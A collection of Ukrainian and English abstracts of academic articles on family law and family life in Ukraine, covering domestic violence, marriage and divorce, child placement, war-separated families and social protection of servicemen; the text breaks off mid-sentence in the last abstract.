Search

The article is devoted to the study of the problems of domestic violence of the demographic profile of ex-partners, ex-spouses, ex-fiancées. The motivational unit of the study was the concept of a segmental study of domestic violence, laid down by the author in the course of her dissertation work. In the course of the study, scientific works devoted to family problems in general and problems of domestic violence, in particular, were analyzed. The monitoring of enforcement acts of separate and civil proceedings was carried out and the enforcement acts (sentences) of criminal proceedings under Art. 126-1 of the Criminal Code of Ukraine. It is indicated that the problem of domestic violence of the studied demographic segment has matured so much, is extremely relevant and requires urgent measures of targeted legal, ethical, moral education, including educational activities aimed at erasing stereotypes of the standard of hostility between ex-partners, ex-spouses, ex - brides. It is emphasized that the fact of divorce, as well as grounds for dissolution of marriage, partnerships, should not become grounds for the formation or deepening of domestic violence. The expediency of searching and finding compromises in the transformation of destruction into a constructive channel of cooperation with the use, as needed, of innovative mediation mechanisms is emphasized. After all, for one's own psychological well-being as an integral phenomenon, personal inner harmony, combined with ecological components of the harmony of the surrounding world, is important. Instead, harboring numerous grievances, resentment towards an ex-partner, ex-spouse, ex-fiancé primarily harms one's own psychoneurological status, thus disrupting one's own harmony of being, and over time leads to chronic fatigue and depression. On this basis, the role of self-development, self-realization, and self-reflection in the activation of internal and external resources of the individual's stress resistance as a component of the systemic approach to preventing and countering domestic violence is argued. Prospects for further research are seen in deepening the systematization of the leading theoretical and methodological approaches to the study of the problem field of the polyphonic deep conflict «domestic violence». [ABSTRACT FROM AUTHOR]

Стаття присвячена дослідженню проблематики домашнього насильства демографічного профіля екс-партнери, екс-подружжя, екс-наречені. Спонукальною одиницею дослідження слугувала, закладена авторкою у ході дисертаційної роботи, концепція сегментарного дослідження домашнього насильства. У ході дослідження проаналізовано наукові праці, присвячені сімейним проблемам загалом та проблемам домашнього насильства, зокрема. Здійснено моніторинг правозастосовних актів окремого й позовного проваджень цивільного судочинства та проаналізовано правозастосовні акти (вироки) кримінального провадження за ст. 126-1 КК України. Вказано на те, що проблематика домашнього насильства досліджуваного демографічного сегмента настільки сильно визріла, що є вкрай актуальною та потребує невідкладних заходів цілеспрямованого правового, етичного, морального виховання, у тому числі й проведення просвітницьких заходів щодо стирання стереотипів стандарту ворожості між екс-партнерами, екс-подружжям, екс-нареченими. Наголошено, що факт розлучення, як і підстави для розірвання шлюбу, партнерства, не повинні стати підставами для формування чи поглиблення домашнього насильства. Підкреслено доцільність пошуку та знаходження компромісу при трансформації деструкцій у конструктивне русло співпраці з використанням, за потребою, інноваційних механізмів медіації. Адже для власного психологічного благополуччя як інтегрального феномену, важливою є особистісна внутрішня гармонія, поєднана з екологічними компонентами гармонії навколишнього світу. Натомість виношування численних нарікань, образ стосовно екс-партнера, екс-подружжя, екс-нареченого (-ої) шкодить насамперед власному психоневрологічному статусу, чим порушує власну гармонію буття, а з плином часу призводить до хронічної втоми та депресії. На цій підставі аргументовано роль саморозвитку, самореалізації, саморефлексії у активізації внутрішніх та зовнішніх ресурсів стресостійкості особистості як складника системного підходу запобігання та протидії домашньому насильству. Перспективи подальших досліджень вбачаються у поглибленні систематизації провідних теоретико-методологічних підходів до вивчення проблемного поля поліфонічного глибинного конфлікту «домашнє насильство».

Інститут фактичного виховання дитини є однією з форм влаштування дітей, яка набуває актуальності у даний час. У статті на підставі загальної характеристики батьківських правовідносин, їх особливостей висвітлюються права та обов’язки осіб, які взяли дитину в сім’ю. Розглянуто правовий статус фактичного вихователя в порівняні з іншими формами влаштування дітей. Проаналізовано аспекти чинного законодавства України, нормативно-правові акти, пов’язані із захистом прав дитини. Проведено аналіз прав та обов’язків батьків, патронатних вихователів, опікунів/піклувальників, а також фактичного вихователя. Автор підкреслює, що сім’я для дитини – це базова соціальна одиниця, яка відіграє ключову роль у її розвитку та вихованні. Сім’я забезпечує емоційну підтримку, а також початкове середовище для навчання соціальним навичкам, традиціям і цінностям. Основні аспекти, які роблять сім’ю важливою для дитини, включають: безпеку, підтримку, соціалізацію, навчання та розвиток, традиції і культуру. А, відтак, виховання дитини в сім’ї – це основа для розвитку дитини в сучасному світі, адже саме сім’я дає дитині те підґрунтя, яке в майбутньому буде відігравати важливу роль в її становленні як повноцінного члена суспільства. Однак за певних обставин не кожна дитина виховується в сім’ї. Тому в Україні створено форми влаштування, які покликанні забезпечувати захист законних прав та інтересів дітей, зокрема права на сім’ю. Їхнє завдання зробити перебування дитини наближеним до сімейного, забезпечити дитину тими навичками, які мала би дати сім’я, що в подальшому допоможе дитині вдало адаптуватися до викликів сьогодення. Проте, законодавчо не врегульовані повною мірою відносини осіб, які взяли дитину в сім’ю на виховання, не закріплено їх права та обов’язки. Законодавець визначає права та обов’язки батьків, батьків-вихователів, патронатних вихователів, опікунів, піклувальників, але не регулює права та обов’язки осіб, які взяли дитину в свою сім’ю (фактичних вихователів). Щоб зрозуміти, які права та обов’язки мають бути встановлені для фактичного вихователя, спершу потрібно провести порівняльний аналіз прав та обов’язків батьків, патронатних вихователів, опікунів та піклувальників. Автор робить висновок, що права батьків, патронатних вихователів, опікунів та піклувальників є в певній мірі закріплені, впорядковані та регулюються зі сторони закону, однак права та обов’язки фактичних вихователів шукають свого впровадження, а згодом і затвердження.

The purpose is to investigate, based on archival sources, the status, actions, life strategies, and value orientations of rural women of Halychyna during the World War I -- to find out the changes they experienced in their everyday and family life under the influence of war events. The research methodology is based on the principle of historicism, as well as on general scientific and special scientific methods, primarily comparative-historical one. For the most part, the archival files of the foundation of the Lviv Greek-Catholic Metropolitan Consistory, as well as modern scientific literature and periodicals, were analyzed. The scientific novelty lies in the fact that for the first time in Ukrainian historical science, the author analyzes the status and daily life strategies and ways of survival of Ukrainian rural women of Halychyna during the World War I through the prism of marriage and family relations analysis. The obtained scientific results can be used for research in the field of marital and family relations. Conclusions. Rapid changes in social life, social uncertainty, economic instability, Russian occupation during the war, and assimilation of Polish power in the postwar years had led to changes in traditional values. However, these changes were not quick and radical for a rural woman. For the majority of peasant women, the main priorities, such as economic stability, physical security, housekeeping, care for children and sick elderly parents, etc., remained the same. The issue of the post-war adaptation of women is problematic. Their life strategies in the marriage and family sphere were individual, as they came down to the following options: to restore family relationships after the husband returned from the frontline or captivity; to initiate a divorce from her husband whom they did not love (because they got married under the pressure of their parents); to remarry or, in the case of inability to overcome canonical obstacles, to cohabit with a new husband; escape to work in the city; voluntarily or forcibly become the lover of a Russian soldier and leave with him to Russia. The choice of one or another strategy probably depended more on external factors, including endless gossip, influence and condemnation of the community, the authority of the priest, and (lack of ) support from one's family. Few people thought about a woman's emotions against the background of the shock of the war, the loss of the husband, and the violence of the occupiers. More than one decade would pass until a woman could speak out loud about her personal feelings, experiences, self-fulfillment, and quality of life. [ABSTRACT FROM AUTHOR]

The article highlights the need and prospects of researching a typical portrait of a victim of domestic violence. The study of socio-demographic characteristics helps to determine the most important directions of preventive work, in particular among those population groups whose representatives most often become victims of this crime. We analyze information about gender - in the vast majority of cases it is women; age - young women are the most vulnerable; level of education – usually the victims have a low level of education and other data on the social status of the victims. The peculiarities of victims in the conditions of war are studied. Thus, victims of domestic violence in times of war are characterized by stress, anxiety, depression and physical trauma, among other things. In addition, they may feel isolated and fearful because of military actions and threats. In war, victims of domestic violence are more vulnerable. It was concluded that a special feature of victims of domestic violence is the lack of housing or other accommodation where a woman could move and take her children. It has been found that women stay with the abuser and continue to suffer due to imposed stereotypes or traditions that glorify marriage as the highest value and call for the preservation of the family at any cost. At the same time, an important factor is the presence of people who convince the woman (or support her confidence) that she herself is to blame for the violence and can stop it by fully submitting to her partner’s demands. The relationship between the level of intelligence and the possibility of becoming a victim is investigated. Such a high level of intelligence makes it possible not to be influenced by others and to defend one’s own opinion. Usually, victims of domestic violence do not have their own vision, are manipulated, and do not take responsibility. There is an increasing trend in the number of victims of domestic violence with the presence of addiction, in particular drug, alcohol, and toxic substances. It has been studied that the consequences of violence on children affect their entire future life, forming poorly educated, socially maladapted individuals who face problems in creating a family and are unable to become good, loving parents. [ABSTRACT FROM AUTHOR]

У статті висвітлюється необхідність та перспективи дослідження типового портрету жертви домашнього насильства Вивчення соціально-демографічних ознак допомагає визначити найбільш важливі напрями профілактичної роботи, зокрема серед тих груп населення, представники яких найчастіше стають жертвами даного злочину. Нами аналізується відомості про стать – у переважній більшості випадків це жінки; вік – найбільш вразливі жінки молодого віку; рівень освіти – зазвичай жертви мають низький рівень освіти та інші дані про соціальний статус потерпілих осіб. Досліджуються особливості жертв в умовах війни. Так, жертви домашнього насильства в час війни, крім всього іншого характеризуються тим, що вони стикаються зі стресом, тривогою, депресією та фізичними травмами. Крім того, вони можуть відчувати ізоляцію та страх через військові дії та загрози. В умовах війни, жертви домашнього насильства є більш вразливими. Зроблено висновки, що особливою рисою притаманною потерпілій від домашнього насилля є відсутність житла або іншого помешкання, куди жінка могла б переїхати та забрати своїх дітей. З’ясовано, що жінки залишаються з кривдником і продовжують потерпати у зв’язку з нав’язаними стереотипами чи традиціями, які прославляють шлюб найвищою цінністю та закликають до збереження родини за будь-яку ціну. При цьому важливим фактором є наявність людей, які переконують жінку (або підтримують у неї впевненість) у тому, що вона сама винна в насильстві й може зупинити його, повністю підкорившись вимогам партнера. Досліджується зв’язок між рівнем інтелекту та можливістю стати жертвою. Так високий рівень інтелекту дає можливість не піддаватися впливу інших та відстоювати власну думку. Зазвичай жертви домашнього насильства не мають власного бачення, піддаються маніпуляції, а також не беруть на себе відповідальність. Прослідковується тенденція зростання кількості жертв домашнього насилля з наявністю залежності, зокрема наркотичної, алкогольної, токсичної. Досліджено, що наслідки насильства на дітьми впливають на все їхнє подальше життя, формуючи малоосвічених, соціально дезадаптованих осіб, які стикаються з проблемами у створенні сім’ї та не здатні стати гарними, люблячими батьками.

Вказується, сім’я є первинним та основним осередком суспільства. Сім’я – головний інститут суспільства. У свою чергу інститут сім’ї включає безліч більш приватних інститутів, а саме інститут шлюбу, інститут споріднення, інститут материнства і батьківства, інститут власності, інститут соціального захисту дитинства і опіки та інші. Відзначено, шлюб – інститут, який регулює відносини між чоловіком та жінкою. Саме шлюб в людському суспільстві вважається єдино прийнятною, соціально схваленою та закріпленою законом формою. Шлюбом є сімейний союз жінки та чоловіка, зареєстрований у органі державної реєстрації актів цивільного стану. Право на шлюб мають особи, які досягли шлюбного віку. Шлюб ґрунтується на вільній згоді жінки та чоловіка. Звернута увага, релігійний обряд шлюбу відбувається зараз в Україні повсюдно. Духовна велич храму чи навіть найменшої церковки з церковним співом, вінцями на головах наречених, добрими напутніми словами священика – все це робить вінчання незабутньою подією в житті. Однак релігійний обряд шлюбу не має правового значення. Релігійний обряд шлюбу, як і раніше, не створює прав та обов’язків подружжя, залишаючись особистою справою жінки та чоловіка. Особи, які після вінчання спільно проживають без реєстрації шлюбу, мають статус сім’ї, але не мають правового статусу подружжя. Акцентовано на тому, що правове регулювання сімейних відносин є основним завданням Сімейного кодексу України, який визначає засади шлюбу, особисті немайнові та майнові права і обов’язки подружжя, підстави виникнення, зміст особистих немайнових і майнових прав та обов’язків батьків і дітей, усиновлювачів та усиновлених, інших членів сім’ї та родичів. Регулювання сімейних відносин здійснюється Сімейним кодексом України з метою зміцнення сім’ї як соціального інституту і як союзу конкретних осіб, утвердження почуття обов’язку перед батьками, дітьми та іншими членами сім’ї, побудови сімейних відносин на паритетних засадах, на почуттях взаємної любові та поваги, взаємодопомоги і підтримки, забезпечення кожної дитини сімейним вихованням, можливістю духовного та фізичного розвитку. Припиняється шлюб внаслідок його розірвання за спільною заявою подружжя або одного з них. Шлюб припиняється внаслідок його розірвання за спільною заявою подружжя на підставі рішення суду. Шлюб припиняється внаслідок його розірвання за позовом одного з подружжя на підставі рішення суду відповідно до сімейного кодексу України.

The family is the primary and main center of society. The family is the main institution of society. In turn, the institution of the family includes many more private institutions, namely the institution of marriage, the institution of kinship, the institution of motherhood and fatherhood, the institution of property, the institution of social protection of childhood and guardia nship, and others. Marriage is an institution that regulates the relationship between a man and a woman. It is marriage in human society that is considered the only acceptable, socially approved and legally established form. Marriage is the family union of a woman and a man, registered in the state registry of civil status acts. Persons who have reached marriageable age have the right to marry. Marriage is based on the free consent of a woman and a man. The religious rite of marriage takes place now everywhere in Ukraine. The spiritual majesty of the temple or even the smallest church with church singing, crowns on the heads of the bride and groom, kind parting words of the priest - all this makes the wedding an unforgettable event in life. However, the religious rite of marriage has no legal significance. The religious rite of marriage, as before, does not create the rights and obligations of a spouse, remaining a personal matter of a woman and a man. Persons who, after the wedding, live together without registering a marriage have the status of a family, but do not have the legal status of spouses. Legal regulation of family relations is the main task of the Family Code of Ukraine, which defines the principles of marriage, personal non-property and property rights and obligations of spouses, the grounds for their origin, the content of personal non-property and property rights and obligations of parents and children, adopters and adoptees, other members fami ly and relatives. Family relations are regulated by the Family Code of Ukraine with the aim of strengthening the family as a social institution and as a union of specific persons, establishing a sense of duty to parents, children and other family members, building family relations on the basis of parity, on feelings of mutual love and respect, mutual help and support, providing each child with family upbringing, the possibility of spiritual and physical development. A marriage is terminated as a result of its dissolution by joint application of the spouses or one of them. A marriage is terminated as a result of its dissolution by a joint application of the spouses on the basis of a court decision. A marriage is terminated as a result of its dissolution at the request of one of the spouses on the basis of a court decision in accordance with the Family Code of Ukraine. [ABSTRACT FROM AUTHOR]

The article examines the current state of Ukrainian legislation on social protection of military personnel and their family members. It is noted that to date, Ukraine has developed a system of normative legal acts of various legal force, which regulate the issues of social and legal protection of military personnel, their constitutional rights and freedoms, and guarantees regarding their implementation. At the same time, despite the fact that legislation in this area is constantly developing and improving, many issues still need to be resolved. Since a significant number of normative legal acts do not always indicate the provision of integral and comprehensive social protection. In particular, a conclusion was made about the non-systematic and scattered nature of the norms that define specific types of social protection for servicemen and their family members. That is, there is no single approach to the legal regulation of social protection of servicemen and their family members, there is a lack of a single legislative act, according to which consolidated and mutually agreed standards and principles of building the entire structure of social security in the researched area would be determined. Therefore, the existing system of social protection needs radical reorganization. In particular, it is necessary to create a clear system of guarantees of social (material) support for military personnel and members of their families, to ensure their observance and implementation by the state, thereby stimulating citizens to military service. It was noted that an important direction of state policy, which should become the focus of attention during the war and after its end, should be the social security of servicemen and their families, as well as raising the status of servicemen in the state. Because today there is no more important task in Ukraine than protecting and ensuring the rights of servicemen of the Armed Forces of Ukraine and other military formations who defend our borders, sovereignty and integrity of our state, who with their courageous struggle effectively protect the Ukrainian state and the Ukrainian people. At the same time, it is noted that despite the limited economic opportunities, the state still tries to provide adequate social protection to military personnel and their families, pays out monetary support and rewards, provides medical treatment and rehabilitation. Attention was also drawn to the fact that the regulatory and legal settlement of issues of ensuring social protection of servicemen and their family members should be closer to international standards, in particular, NATO member countries. [ABSTRACT FROM AUTHOR]

Мета статті передбачає теоретичний аналіз розуміння явища інцесту в психологічній науці, з’ясувати основні аспекти тлумачення поняття «інцест» у векторі різних наукових підходів та встановлені особливостей прояву інцесту в сімейній системі. Методи. У статті застосовано методи теоретичного вивчення наукової літератури (аналіз, синтез, узагальнення, порівняння, систематизація підходів науковців) стосовно висвітлення явища інцесту. Використані теоретичні методи презентують порівняльну характеристику поняття інцест, широту проявів інцесту у сімейній системі та диференціацію понять «сексуальна експлуатація дитини», «фізичний інцест», «емоційний інцест», «педофілія». Результати. У результаті теоретичного аналізу окреслено широкий діапазон інтерпретацій поняття «інцест» у психологічних дослідженнях, визначено історичні витоки дефініції сексуального зв’язку між дорослими та дитиною, з якою дорослий має родинну спорідненість, як інцесту. Підкреслено, що інцест виникає в сім’ї через крайній прояв недиференційованості сімейних ролей, порушення ієрархії, інцест виступає способом зниження тривоги в сім’ї, може повторюватись у рамках міжпоколінного процесу тощо. Систематизовано форми та види прояву інцесту, де у фокусі уваги знаходиться поділ явища за ступнем спорідненості суб’єкта та об’єкта інцесту, типу інцестуозних стосунків та сексуального контакту, механізмами вчинення інцесту. Визначено, що поняття «емоційного інцесту» стосується проблематики співзалежності між членами родини і не є синонімом до класичного розуміння поняття «інцест», який включає саме фізичний, сексуальний контакт між дитиною та кровним родичем. Зазначено, що інцест виступає видом сексуального насильства над дитиною, що у результаті призводить до виникнення психічної травми. Висновки. У висновках узагальнено, що інцест є складною полікомпонентною проблемою та досліджується у різних психологічних підходах. Визначено, що явище представлене будь-якою сексуально пов’язаною поведінкою між членами сім’ї та дитиною. Проаналізовано, що психоаналітичний підхід висвітлює проблему інцестуозної поведінки через призму Едипального комплексу та порушення унормованого психосексуального розвитку особистості, натомість представники сімейно-системної психології розкривають інцест як наслідок порушення ієрархічної структури та функціонування сім’ї. Підкреслено, що незалежно від форм інцесту це є сексуальним насильством над дитиною, що має травматичні наслідки.

Протягом століть сім’я була розглянута як осередок суспільства з величезним впливом. Це місце, де дитина вперше отримує досвід в сферах соціальних, емоційних і когнітивних відносин. Сім’я має фундаментальне значення для окремих осіб, що входять до її складу, а також для суспільства в цілому. Щоб забезпечити правильний розвиток дитини, потрібні не лише відповідні умови життя, але й активна присутність обох батьків. Кожен з них вносить свої унікальні внески у розвиток дитини. Проте повномасштабне російське військове вторгнення призвело до масового виїзду українців за кордон, залишаючи багато родин в розриві та віддаленості. Проблеми сімей, які опинилися роз’єднаними через війну та еміграцію, можуть бути додатково ускладнені тим, що чоловіки розділені географічно та позбавлені можливості активно брати участь в житті своєї дитини. Це може вплинути на зв’язок між батьком і дитиною, а також на здоров’я та благополуччя дітей. Згадані проблеми вимагають системного підходу та спільних зусиль з боку української влади, а також громадських організацій та експертів. Необхідні заходи включають в себе розробку програм для дітей, які переїхали за кордон, підтримку для батьків у вирішенні їхніх проблем та покращення співпраці між країнами для забезпечення прав дітей та родин, які опинилися в цій складній ситуації. Для батьків, які перебувають в Україні та намагаються встановити контакт і забезпечити відвідування своєї дитини, важливо шукати правові способи захисту своїх батьківських прав. Це може включати в себе звернення до органів опіки та піклування, а також до суду з відповідними позовами. Загалом, сім’я є важливим елементом суспільства, і підтримка сімей, які опинилися в ускладнених умовах через війну та еміграцію, важлива для збереження їхнього благополуччя та гармонії.

У статті досліджено сучасний стан законо­давства України про соціальний захист військо­вослужбовців та членів їх сімей. Зазначено, що на сьогоднішній день в Україні склалася систе­ма нормативно-правових актів різної юридич­ної сили, які регулюють питання соціального та правового захисту військовослужбовців, їх конституційних прав і свобод, гарантій щодо їх реалізації. Водночас незважаючи на те, що за­конодавство у цій царині постійно розвивається та вдосконалюється багато ще питань потребу­ють вирішення. Оскільки значна кількість нор­мативно-правових актів не завжди свідчить про забезпечення цілісного й комплексного соціаль­ного захисту. Зокрема, зроблено висновок про несистемність і розпорошеність норм, які визна­чають конкретні види соціального захисту вій­ськовослужбовців та членів їх сімей. Тобто немає єдиного підходу до правового регулювання со­ціального захисту військовослужбовців та чле­нів їх сімей, бракує єдиного законодавчого акту, відповідно до якого було б визначено консолі­довані та взаємоузгоджені стандарти і принципи побудови всієї структури соціального забезпе­чення у досліджуваній сфері. Тому існуюча си­стема соціального захисту потребує докорінної реорганізації. Зокрема, необхідно створити чіт­ку систему гарантій соціального (матеріально­го) забезпечення військовослужбовців та членів їхніх сімей, забезпечити їх дотримання та вико­нання з боку держави, стимулювати тим самим громадян до військової служби. Зазначено, що важливим напрямком державної політики, який має стати центром уваги в період війни і після її закінчення повинно бути соціальне забезпе­чення військовослужбовців та їхніх родин, а та­кож підвищення статусу військовослужбовців у державі. Оскільки сьогодні немає в Україні більш важливого завдання, ніж захист і забезпечення прав військовослужбовців Збройних Сил України та інших військових формувань, котрі боронять наші кордони, суверенітет і цілісність нашої дер­жави, які своєю мужньою боротьбою здійснюють ефективний захист Української держави та Укра­їнського народу. Водночас зазначено, що не ди­влячись на обмежені економічні можливості дер­жава все ж таки намагається надавати належний соціальний захист військовослужбовцям та їх рідним, здійснює виплату грошового забезпечен­ня та винагород, забезпечує медичне лікування та реабілітацію. Також звернуто увагу, що нор­мативно-правове врегулювання питань забезпе­чення соціального захисту військовослужбовців і членів їхніх сімей має наближатися до міжнарод­них стандартів, зокрема країн-членів НАТО.

For centuries, the family has been viewed as a center of society with enormous influence. This is the place where the child first gets experience in the spheres of social, emotional and cognitive relations. The family is of fundamental importance for individuals who are part of it, as well as for society as a whole. To ensure the proper development of a child, not only appropriate living conditions are needed, but also the active presence of both parents. Each of them makes their own unique contributions to the child's development. However, the full-scale Russian military invasion led to a mass exodus of Ukrainians abroad, leaving many families separated and distant. The problems of families separated by war and emigration can be further complicated by the fact that men are geographically separated and deprived of the opportunity to actively participate in their child's life. This can affect the parent-child bond, as well as the children's health and wellbeing. The mentioned problems require a systematic approach and joint efforts on the part of the Ukrainian authorities, as well as public organizations and experts. Necessary measures include the development of programs for children who have moved abroad, support for parents in solving their problems and improved cooperation between countries to ensure the rights of children and families who find themselves in this difficult situation. For parents who are in Ukraine and trying to establish contact and ensure visitation of their child, it is important to look for legal ways to protect their parental rights. This may include appeals to guardianship and guardianship authorities, as well as to the court with appropriate lawsuits. In general, the family is an important element of society, and the support of families who find themselves in difficult conditions due to war and emigration is important to preserve their well-being and harmony. [ABSTRACT FROM AUTHOR]

Стаття присвячена дослідженню повноті реалізації вагітною жінкою свого права на утримання від чоловіка з яким перебуває у зареєстрованому шлюбі, а також отримання аліментів від чоловіка з яким шлюб не зареєструвала, але тривалий період часу проживала однією сім’єю. Розглянуто проблему щодо визначення моменту виникнення права на утримання, а також виявлено прогалини в законо- давстві по питанні сплати коштів вагітній дружині. Адже, у частині 1 статті 79 Сімейного кодексу України викладено положення про те, що аліменти одному з подружжя присуджуються за рішенням суду від дня подання позовної заяви, а у частині 5 статті 84 Сімейного кодексу України зазначаєть- ся, що аліменти, присуджені дружині під час вагітності, сплачуються після народження дитини без додаткового рішення суду. Із аналізу вказаних положень виникає питання щодо визначення моменту присудження та сплати аліментів. Адже кошти на своє утримання жінка потребує негайно і чекати до народження дитини вона не має змоги. З’ясовано, що заяву до суду про надання утримання жінка змо- же подати лише після отримання письмових доказів, що підтверджують її вагітність. Тому звернутися до суду з позовом до чоловіка про надання кошів на утримання жінка має змогу значно пізніше, ніж вагітність буде виявлена. Також, проблемою є те, що аліментні зобов’язання виникають лише між чоловіком та дружиною, які перебувають у зареєстрованому шлюбі, а та жінка, яка проживала певний період часу з чоловіком та завагітніла позбавляється права на утримання на період вагітності. Тому, у даній статті пропо- нується зрівняти у реалізації права на утримання усіх жінок, незалежно від того чи перебували вони у зареєстрованому шлюбі з чоловіком чи ні. Основним є те, що позивачка повинна довести спільне проживання та факт вагітності. Також у статті проаналізовано судову практику щодо визначення оціночного поняття «тривалість спільного проживання» та з’ясовано, що тривалість спільного проживання повинно обчислюватися не кількістю прожитих років, а документами, які чоловік та жінка можуть пред’явити у суді як дока- зову базу того, що ці особи проживали однією сім’єю, вели спільний побут та мали взаємні права та обов’язки.

У даній статті автори розглядають проблемні аспекти застосування на практиці норми Сімейного кодексу України та ряду інших нормативно правових актів, які регулюють укладення шлюбу онлайн, тобто за допомогою цифрових технологій. Не можна заперечувати той факт, що зараз ми живемо в епоху, коли розповсюдження та повсюдне поширення цифрових технологій радикально змінили наше ставлення один до одного. Самі ці процеси і призвели до необхідності введення нових способів врегулювання суспільних відносин. Тобто зовнішні чинники сформували запит на зростання диджиталізації. Під самим процесом диджиталізації слід розуміти як трансформацію і впровадження цифрових технологій задля оптимізації та покращення реалізації застосування своїх прав, чи то навіть, виконання своїх обов’язків за допомогою новітніх технологій. Зазначимо, що диджиталізація важлива для різних сфер життя, а особливо для сім’ї, для дітей, підлітків, батьків, бабусь і дідусів і її вплив на їхні стосунки. Зважаючи на стрімкий розвиток диджиталізації у сімейних відносинах, виникає необхідність дослідження даних питань. У статті проаналізовано світові процеси, які призведуть до нових викликів у сфері врегулювання сімейних відносин, а саме укладення шлюбу. І мова іде про метасвіт та ті можливості, які він надає особам, що бажають укласти шлюб і відсвяткувати безпосередньо своє весілля. Також автори дослідили конкретні кейси, що відображають найяскравіше застосування цієї можливості на практиці. Крім того, розкрито нововведення, щодо самого процесу укладення шлюбу у зв’язку з веденням бойових дій і повномасштабного вторгнення російської федерації на територію України. Акцентується увага на всіх можливих і доступних проявах диджиталізації у сфері врегулювання сімейних відносин та пропозиції щодо внесення змін у сімейне законодавство з метою вдосконалення його на шляху інтеграційних процесів. Тому що саме диджиталізація є та необхідність з якою стикнулося українське суспільство і як через війну, так і через виклики сучасності.

У статті досліджується питання захисту прав дітей-сиріт та дітей позбавлених батьківського піклування під час військових дій. Звернено особливу увагу на законодавство України про соціальний захист дітей-сиріт, дітей, позбавлених батьківського піклування, зокрема: Конституцію України, постанову Кабінету Міністрів України «Про внесення змін до деяких постанов Кабінету Міністрів України щодо захисту прав дітей на період надзвичайного або воєнного стану», «Конвенцію про права дитини», постанову Кабінету Міністрів України «Про затвердження Правил перетинання державного кордону громадянами України» та інші законодавчі акти, що регулюють правовідносини, пов’язані з наданням матеріальної, соціальної та правової допомоги дітям-сиротам, дітям, позбавленим батьківського піклування. Діти, які стають сиротами внаслідок війни, є найбільш вразливою категорією населення, яка потребує належного захисту та підтримки. Під час війни численна кількість дітей втратили свої домівки та батьків, стикнулися з жахіттями війни, загубилися під час бомбардувань, евакуації з зон бойових дій, зникли безвісти, насильно вивезені на територію країни-агресора та не знають нічого про своїх батьків, і всі вони потребують належного захисту з боку держави. Вони можуть стикнутися з насильством, голодом, хворобами та іншими викликами, які ставлять під загрозу їхні життя та здоров'я. Крім того, розповсюджене явище виїзду дітей за кордон, де також процедура контролю має забезпечуватися державою як на стадії підготовки до виїзду, так і на моменті перетину кордону. Виїзд дітей за кордон може бути потрібним для їхньої безпеки та добробуту. Також держава повинна забезпечити можливість повернення дітей назад в Україну у разі необхідності. Влада зобов'язана забезпечувати реалізацію прав дітей-сиріт та дітей позбавлених батьківського піклування, зокрема, шляхом забезпечення житла, харчування, медичної допомоги та освіти. Наголошується на полегшенні забезпечення дітям- сиротам та дітям, позбавлених батьківського піклування надійного захисту та допомоги, шляхом створення чат-ботів організацією ЮНІСЕФ (ООН).

У статті здійснено дослідження етимології поняття «сім’я». Зокрема, наведено змістове наповнення цього поняття як суспільного явища, а також проведено аналіз думок сучасних українських правників щодо його правового змісту, і як наслідок запропоновано власне визначення правової категорії «сім’я» – сукупність осіб, відносини між якими засновані на взаємних правах та обов’язках, спільному проживанні й побуті, що виникають на основі шлюбних (подружніх відносин без реєстрації шлюбу) або кровноспоріднених зв’язках, чи інших формах прийняття дітей на виховання, та які несуть взаємну відповідальність за невиконання чи неналежне виконання сімейних обов’язків. Встановлено, що єдиного підходу щодо розуміння дефініції «сім’я» серед науковців немає, як і не має єдиного вичерпного поняття в системі законодавства нашої держави. Крім цього, зазначається, що в юридичній літературі є дві протилежні позиції, щодо необхідності формування єдиного визначення терміну «сім’я», адже одні науковці підтримують позицію законодавчого закріплення категорії «сім’я», пояснюючи це тим, що різні галузі права регулюють різні за змістом правові відносини за участю членів сім’ї, інші ж, в свою чергу не вбачають за необхідне на законодавчому рівні закріплювати термін «сім’я», адже критерії, що характеризують сім’ю є дуже багатогранними і різноманітними. Здійснено характеристику суб’єктів (учасників) сімейних правовідносин, що передбачені законодавством України з урахуванням певної послідовності. Зокрема, виокремлено три групи учасників сімейних правовідносин. Перша група – подружжя, батьки, діти та інститут усиновлення. Друга група – бабці, дідусі, прабабці, прадідусі, онуки, правнуки, рідні брати і сестри, мачуха, вітчим, падчерка та пасинок. Третя група – інші члени сім’ї, що передбачені у главах 19 та 20 Сімейного кодексу України.

Тривала війна в Україні та повномасштабне вторгнення зумовило збільшення кількості як біженців із України, так і внутрішньо переміщених осіб у середині держави, актуалізувало проблематику щодо захисту їх прав. Саме тому у вказаній статті здійснено аналіз механізму державної охорони сімейних прав внутрішньо переміщених осіб. З’ясовано яким чином функціонує механізм державної охорони сім’ї під час війни. Обґрунтовано, що основою механізму державної охорони сімейних прав є принцип державної охорони сім’ї. Досліджено положення міжнародних актів, Конституції України, Закону України «Про забезпечення прав і свобод внутрішньо переміщених осіб», а також норми сімейного законодавства. Проаналізовано відмінності між поняттями «охорона» та «захист». Підкреслено, що механізм державної охорони сімейних прав внутрішньо переміщених осіб включає правові норми, які передбачають різні інструменти забезпечення та захисту прав, а також позитивні зобов᾽язання держави. З’ясовано підхід Конституційного Суду України, сформований під час війни щодо розуміння соціального захисту та охорони сім’ї, дитинства та материнства (батьківства). Зауважено, що в умовах війни зросла кількість сиріт, дітей, залишеними батьками, тому важливе значення має система правових гарантій по влаштуванні таких дітей у такі форми, які найбільш наближені до сімейних. Доведено, що механізм державної охорони сімейних прав внутрішньо переміщених осіб ґрунтується на загальному принципі державної охорони сім’ї та включає правові, інституційні, процедурні, фінансові та інформаційні інструменти. Обґрунтовано, що проєкт Стратегії державної політики щодо внутрішнього переміщення на період до 2025 року містить обмежений підхід щодо гарантування сімейних прав ВПО. Насамперед засади необхідно доповнити принципом найкращих інтересів дитини, а перелік заходів має гарантувати право кожному члену сім’ї, який є ВПО, на інформацію про зниклих безвісти родичів.

The purpose of the study is to uncover the main reasons/motives for seeking divorce among the Ukrainians in Halychyna in the 1920-1930 s, based on the analysis of the records of the court of the Lviv Greek-Catholic Metropolitan Consistory. The research methodology is based on the principle of historicism, as well as on general scientific and specific scientific methods, primarily the comparative-historical method. Priority was given to the study of archival documents and ethnographic literature which made it possible to analyze and compare data related to marriage and family dating back to the early 20th century with the data of the 19th century. The scientific novelty of the study lies in the fact that the motives and reasons for the Ukrainians seeking divorce in Halychyna in the 1920-1930 s have been analyzed on the basis of elaborated archival court cases for the first time in the Ukrainian historical science. The factual materials and theoretical generalizations presented in the article are important for understanding the socio-economic and socio-political realities inherent in the then rural society. Conclusions. Going through the divorce, the Ukrainian peasants of Halychyna were guided by various motives and reasons, relying mainly on the canonical requirements of the Ukrainian Greek Catholic Church and the law of custom. Among the main reasons for the family discord or marriage annulment in the interwar period were canonical ones, i.e. forced marriage, marriage between close relatives, bigamy, irregularity in the 